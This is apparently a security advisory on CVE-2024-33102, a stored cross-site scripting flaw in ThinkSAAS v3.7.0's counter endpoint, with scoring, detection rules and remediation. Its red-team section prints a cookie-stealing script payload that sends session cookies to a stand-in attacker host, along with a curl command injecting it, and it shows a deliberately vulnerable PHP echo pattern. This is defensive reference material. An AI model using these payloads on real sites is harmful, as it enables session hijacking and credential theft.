CVE-2024-33102

Executive Summary

CVE-2024-33102 is a stored cross-site scripting (XSS) vulnerability identified in ThinkSAAS v3.7.0, specifically within the /pubs/counter.php component. An attacker can inject arbitrary web scripts or HTML via a crafted payload into the code parameter. This vulnerability allows for persistent client-side attacks against any user who views the affected page, potentially leading to session hijacking, credential theft, or defacement. The vulnerability is publicly known, but no official patch has been released by the vendor. The EPSS score is 0.0%, indicating low exploitation activity in the wild at the time of analysis.

Supply Chain & Package Security

ThinkSAAS is a PHP-based social networking system. This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct application-level flaw. The lack of a patch from the vendor means that users must rely on manual mitigation or third-party security controls.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – the victim must visit the affected page.
• Scope: Changed (S:C) – the injected script can affect resources beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – limited data exposure.
• Integrity Impact: Low (I:L) – limited modification of content.
• Availability Impact: None (A:N)

Threat Level: Medium. The vulnerability is easy to exploit but requires user interaction. The impact is limited to client-side attacks.

Deep Dive & Mechanics

The vulnerability resides in the /pubs/counter.php file of ThinkSAAS v3.7.0. This script is likely used for tracking page views or analytics. The code parameter is not properly sanitized or encoded before being stored or reflected in the response. An attacker can submit a POST or GET request to /pubs/counter.php with a malicious payload in the code parameter, such as:

GET /pubs/counter.php?code=<script>alert('XSS')</script> HTTP/1.1
Host: target.com

The application stores this payload (likely in a database or session) and later renders it without proper escaping when the page is viewed by other users. This results in the execution of the attacker's script in the context of the victim's browser.

The root cause is a lack of output encoding and input validation. The code parameter is treated as trusted data and directly embedded into the HTML output.

Vulnerable vs. Patched Code

Since no official patch is available, the vulnerable code is presumed to be in /pubs/counter.php. A typical vulnerable pattern would be:

Vulnerable Code (PHP):

<?php
$code = $_GET['code'];
// ... store $code in database ...
// Later, when rendering:
echo "<div>Code: " . $code . "</div>";
?>

Patched Code (Hypothetical):

<?php
$code = htmlspecialchars($_GET['code'], ENT_QUOTES, 'UTF-8');
// ... store $code in database ...
// Later, when rendering:
echo "<div>Code: " . $code . "</div>";
?>

The fix involves using htmlspecialchars() (or equivalent) to encode HTML special characters before output.

Exploitation & Lab Setup

Red Team

1. Setup: Deploy a local instance of ThinkSAAS v3.7.0 (e.g., using Docker or XAMPP).
2. Craft Payload: Create a malicious JavaScript payload, e.g., to steal cookies:

   <script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>
   

3. Inject Payload: Send a request to the vulnerable endpoint:

   curl -X GET "http://target.com/pubs/counter.php?code=<script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>"
   

4. Trigger: As an admin or other user, navigate to the page that displays the counter data (e.g., the admin dashboard or a public page).
5. Capture: The victim's browser executes the script, sending their cookies to the attacker's server.

Blue Team

1. Detection: Monitor web server logs for suspicious code parameters containing <script>, onerror, onload, or other HTML event handlers.
2. Prevention: Implement a Web Application Firewall (WAF) rule to block requests with XSS patterns in the code parameter.
3. Mitigation: Apply input validation and output encoding manually in the source code if possible. Use Content Security Policy (CSP) headers to restrict script execution.
4. Honeypot: Deploy a decoy endpoint mimicking /pubs/counter.php to trap attackers.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /pubs/counter.php with code parameter containing <script>, %3Cscript%3E, or other HTML/JavaScript tags.
  • Outbound connections from the web server to unknown IPs on ports 80/443 (potential data exfiltration).
• File IOCs:
  • Modified or suspicious entries in the database table associated with counter data.
  • Log entries showing repeated requests to /pubs/counter.php with unusual parameters.
• Behavioral IOCs:
  • Unexpected JavaScript execution in the browser when viewing ThinkSAAS pages.
  • Unauthorized cookie theft or session hijacking.

Detection Engineering

YARA Rule

rule CVE_2024_33102_XSS_ThinkSAAS {
    meta:
        description = "Detects XSS payloads targeting ThinkSAAS /pubs/counter.php"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-33102"
    strings:
        $xss1 = /code=.*<script/i
        $xss2 = /code=.*onerror/i
        $xss3 = /code=.*onload/i
        $xss4 = /code=.*javascript:/i
    condition:
        any of them
}

Sigma Rule

title: ThinkSAAS Stored XSS via code Parameter
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2024-33102 by injecting XSS payloads into the code parameter of /pubs/counter.php
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/pubs/counter.php'
        cs-uri-query|contains|all:
            - 'code='
            - '<script'
    condition: selection
falsepositives:
    - Legitimate use of script tags in code parameter (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-33102 ThinkSAAS Stored XSS Attempt"; flow:to_server,established; content:"/pubs/counter.php"; http_uri; content:"code="; http_uri; pcre:"/code=.*<script/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: If possible, manually patch the /pubs/counter.php file by adding htmlspecialchars() or htmlentities() to the code parameter output.
2. WAF Rule: Deploy a WAF rule to block requests containing <script>, onerror, onload, or javascript: in the code parameter.
3. CSP Header: Add a Content Security Policy header that restricts script execution to trusted sources only.
4. Input Validation: Validate the code parameter to only allow alphanumeric characters if possible.
5. Monitor: Continuously monitor logs for exploitation attempts.
6. Vendor Contact: Attempt to contact ThinkSAAS for an official patch. If none is available, consider migrating to an alternative solution.

Valters IT
Securing Digital Frontiers